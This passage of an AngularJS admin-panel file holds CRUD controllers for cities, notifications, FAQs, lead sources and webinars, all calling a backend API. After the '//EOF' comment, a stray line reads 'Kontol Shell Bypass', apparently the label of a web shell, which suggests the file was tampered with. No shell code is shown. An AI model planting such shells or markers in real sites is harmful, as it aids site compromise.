		).error(function(res){showHttpErr(res);});
	}

	CR.openCityForm=function(dtl){
		hide_form_errors($("#cityfrm"));
		CR.cityData=dtl?dtl:{id:'', status:'1', state_id:CR.selectedST.id};
		showModal($("#cityformModal"), true);
	}

	CR.saveCity=function(){
		var frm=$("#cityfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveCity', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getCities(CR.selectedST);
					hideModal($("#cityformModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.editCity=function(id){
		show_loader();
		$http({url: API_URL+'master/cityDetail/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openCityForm(res);
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.deleteCity=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteCity', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getCities(CR.selectedST);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	$scope.uploadCityExcel=function(){
		var frm=$("#cityImpExcel");
		var formData=new FormData(frm[0]);
		
		show_loader();
		$http({url:API_URL+'master/uploadCityExcel', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res){
				$('#cityExcelFile').val('');
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.getCities(CR.selectedST);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	/** Init */
	CR.listSTT();
});


/** Notifications **/
angular.module('MetronicApp').controller("Notifications", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;

	CR.sdata={};
	CR.openForm=function(dtl){
		hide_form_errors($("#frm"));
		CR.data=dtl?dtl:{id:'', status:'1', type:'BOTH'};
		showModal($("#formModal"));
		$(".nchk").prop('checked', false);
		if(dtl){
			var steps=dtl.steps.split(",");
			for(i=0; i<steps.length; i++){
				$(".nchk[value='"+steps[i]+"']").prop('checked', true);
			}
		}
	}
	
	CR.lists=function(){
		show_loader();
		$http({url: API_URL+'master/notifications', params:CR.sdata}).success(
			function(res){
				CR.result=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.save=function(){
		var frm=$("#frm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveNotification', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists();
					hideModal($("#formModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.edit=function(id){
		show_loader();
		$http({url: API_URL+'master/notificationDtl/'+id}).success(
			function(res){
				hide_loader();
				CR.openForm(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteNotification', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Init */
	CR.lists();
});


/** FAQ **/
angular.module('MetronicApp').controller("FAQ", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;

	CR.sdata={};
	CR.openForm=function(dtl){
		hide_form_errors($("#frm"));
		CR.data=dtl?dtl:{id:'', status:'1'};
		showModal($("#formModal"), true);

		$('.fcatChk').find(".allChk,.chk").prop('checked', false);
		if(dtl){
			tinymce.EditorManager.get('ta_ans').setContent(dtl.ans);
			var cat_ids=dtl.cat_ids.split(",");
			for(i=0; i<cat_ids.length; i++){
				$('.fcatChk').find(".chk[value='"+cat_ids[i]+"']").prop('checked', true);
			}
		}else{
			tinymce.EditorManager.get('ta_ans').setContent('');
		}
	}
	
	CR.lists=function(){
		show_loader();
		$http({url: API_URL+'master/faqs', params:CR.sdata}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.result=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.save=function(){
		tinyMCE.triggerSave(false, true);
		var frm=$("#frm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveFaq', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists();
					hideModal($("#formModal"));
				}else{
					//show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.edit=function(id){
		show_loader();
		$http({url: API_URL+'master/faqDetail/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openForm(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteFaq', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.lists();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.sdataCT={};
	CR.openCTform=function(dtl){
		hide_form_errors($("#ctfrm"));
		CR.ctDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#ctFormModal"));
	}
	
	CR.listCT=function(){
		show_loader();
		$http({url: API_URL+'master/faqCats', params:CR.sdataCT}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.cats=res.cats;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveCT=function(){
		var frm=$("#ctfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveFaqCat', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCT();
					hideModal($("#ctFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editCT=function(id){
		show_loader();
		$http({url: API_URL+'master/faqCatDetail/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openCTform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteCT=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteFaqCat', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCT();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Init */
	CR.init=function(){
		set_tinymce("#ta_ans", 150);
		show_loader();
		$http({url: API_URL+'master/initFaq'}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.result=res.result;
				CR.cats=res.cats;
			}
		).error(function(res){showHttpErr(res);});
	}
	CR.init();
});

/** LeadSource **/
angular.module('MetronicApp').controller("LeadSource", function($scope, $http, $timeout){
	var CR=this;
	CR.sdata={};
	CR.open_form=function(dtl){
        hide_form_errors($("#frm"));
        CR.data=dtl?dtl:{status:'1', state_id:''};
        console.log(CR.data);
        showModal($("#formModal"));
        $timeout(function(){
            $(".statesdd").val('');
            apply_select2($(".statesdd"));
        })
	}
	CR.lists=function(){
		show_loader();
		$http({url: API_URL+'master/lead_sources', params:CR.sdata}).success(
			function(res){
				CR.result=res.result;
			}
		);
	}
	CR.save=function(){
		var frm=$("#frm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/save_lead_source', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success){
					show_alert_msg(res.msg);
					CR.lists();
					hideModal($("#formModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	CR.edit=function(rob){
		CR.open_form(angular.copy(rob));
	}
	CR.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/delete_lead_source', method:'POST', data:{id:id}}).success(
			function(res){
				if(res.success){
					show_alert_msg(res.msg);
					CR.lists();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

	/** Init */
	CR.init=function(){
		show_loader();
		$http({url: API_URL+'master/init_lead_sources'}).success(
			function(res){
                CR.result=res.result;
                CR.states=res.states;
			}
		);
    }
    CR.init();
});


/** Webinar **/
angular.module('MetronicApp').controller("Webinar", function($scope, $http, $timeout){
    var CR=this;
    CR.timeList = [{ val: '', title: 'Select Time' }, { val: '00:00:00', title: '00:00 AM' }, { val: '00:30:00', title: '00:30 AM' }, { val: '01:00:00', title: '01:00 AM' }, { val: '01:30:00', title: '01:30 AM' }, { val: '02:00:00', title: '02:00 AM' }, { val: '02:30:00', title: '02:30 AM' }, { val: '03:00:00', title: '03:00 AM' }, { val: '03:30:00', title: '03:30 AM' }, { val: '04:00:00', title: '04:00 AM' }, { val: '04:30:00', title: '04:30 AM' }, { val: '05:00:00', title: '05:00 AM' }, { val: '05:30:00', title: '05:30 AM' }, { val: '06:00:00', title: '06:00 AM' }, { val: '06:30:00', title: '06:30 AM' }, { val: '07:00:00', title: '07:00 AM' }, { val: '07:30:00', title: '07:30 AM' }, { val: '08:00:00', title: '08:00 AM' }, { val: '08:30:00', title: '08:30 AM' }, { val: '09:00:00', title: '09:00 AM' }, { val: '09:30:00', title: '09:30 AM' }, { val: '10:00:00', title: '10:00 AM' }, { val: '10:30:00', title: '10:30 AM' }, { val: '11:00:00', title: '11:00 AM' }, { val: '11:30:00', title: '11:30 AM' }, { val: '12:00:00', title: '12:00 PM' }, { val: '12:30:00', title: '12:30 PM' }, { val: '13:00:00', title: '01:00 PM' }, { val: '13:30:00', title: '01:30 PM' }, { val: '14:00:00', title: '02:00 PM' }, { val: '14:30:00', title: '02:30 PM' }, { val: '15:00:00', title: '03:00 PM' }, { val: '15:30:00', title: '03:30 PM' }, { val: '16:00:00', title: '04:00 PM' }, { val: '16:30:00', title: '04:30 PM' }, { val: '17:00:00', title: '05:00 PM' }, { val: '17:30:00', title: '05:30 PM' }, { val: '18:00:00', title: '06:00 PM' }, { val: '18:30:00', title: '06:30 PM' }, { val: '19:00:00', title: '07:00 PM' }, { val: '19:30:00', title: '07:30 PM' }, { val: '20:00:00', title: '08:00 PM' }, { val: '20:30:00', title: '08:30 PM' }, { val: '21:00:00', title: '09:00 PM' }, { val: '21:30:00', title: '09:30 PM' }, { val: '22:00:00', title: '10:00 PM' }, { val: '22:30:00', title: '10:30 PM' }, { val: '23:00:00', title: '11:00 PM' }, { val: '23:30:00', title: '11:30 PM' }];
    CR.sdata={};
    CR.schools=[];

    CR.sel_index=-1;
	CR.open_form=function(dtl, i){
        CR.sel_index=i;
        hide_form_errors($("#frm"));
        $("#frm input[type='file']").val('');

        CR.data=dtl?dtl:{start_time:'', end_time:'', email_content:'', description:'', topics:'', speakers:[], 'school_id[]':''};
        tinymce.EditorManager.get('te_description').setContent(CR.data.description);
        tinymce.EditorManager.get('te_topics').setContent(CR.data.topics);
        tinymce.EditorManager.get('email_content').setContent(CR.data.email_content);

        if(!CR.data.speakers.length){
            CR.data.speakers.push({});
        }
        
        //showModal($("#formModal"), true);
        $("#webFormBx").show();
        $("#webFormBx .big-over-bx-body").scrollTop(0);
        
        $timeout(function(){
            setBsDatepicker();
            apply_select2($("#school_id"), "Select School");
        });
	}
	CR.lists=function(){
		show_loader();
		$http({url: API_URL+'master/webinars', params:CR.sdata}).success(
			function(res){
				CR.result=res.result;
			}
		);
	}
	CR.save=function(send_email){
        tinyMCE.triggerSave(false, true);
		var frm=$("#frm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/save_webinar/'+send_email, method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success){
					show_alert_msg(res.msg);
                    //hideModal($("#formModal"));
                    $("#webFormBx").hide();
                    if(send_email){
                        CR.initiate_send_email(res.send_email_api);
                    }else{
                        CR.lists();
                    }
				}else{
					//show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

    CR.initiate_send_email=function(send_email_api){
        show_loader();
        $http({url:send_email_api, method:'POST', data:{test_email:CR.data.test_email, is_pepipost:CR.data.is_pepipost, test_data_set_id:CR.data.test_data_set_id}}).success(
			function(res){
                show_alert_msg("Invitation Email sending initiated");
                CR.lists();
                /* if(CR.sel_index >= 0){
                    CR.result[CR.sel_index].email_processing=1;
                } */
			}
		);
    }
    
	CR.edit=function(id, i){
        show_loader();
		$http({url: API_URL+'master/webinar_detail/'+id}).success(
			function(res){
				CR.open_form(res.result, i);
			}
		);
	}
	CR.delete=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/delete_webinar', method:'POST', data:{id:id}}).success(
			function(res){
				if(res.success){
					show_alert_msg(res.msg);
					CR.lists();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }
    
	/** Init */
	CR.init=function(){
        set_tinymce("#te_description", 300);
        set_tinymce("#te_topics", 300);
        set_tinymce("#email_content", 400);
        show_loader();
		$http({url: API_URL+'master/init_webinar'}).success(
			function(res){
                CR.datasets=res.datasets;
                CR.result=res.result;
                CR.schools=res.schools;
			}
		);
    }
    CR.init();
});

//EOF

Kontol Shell Bypass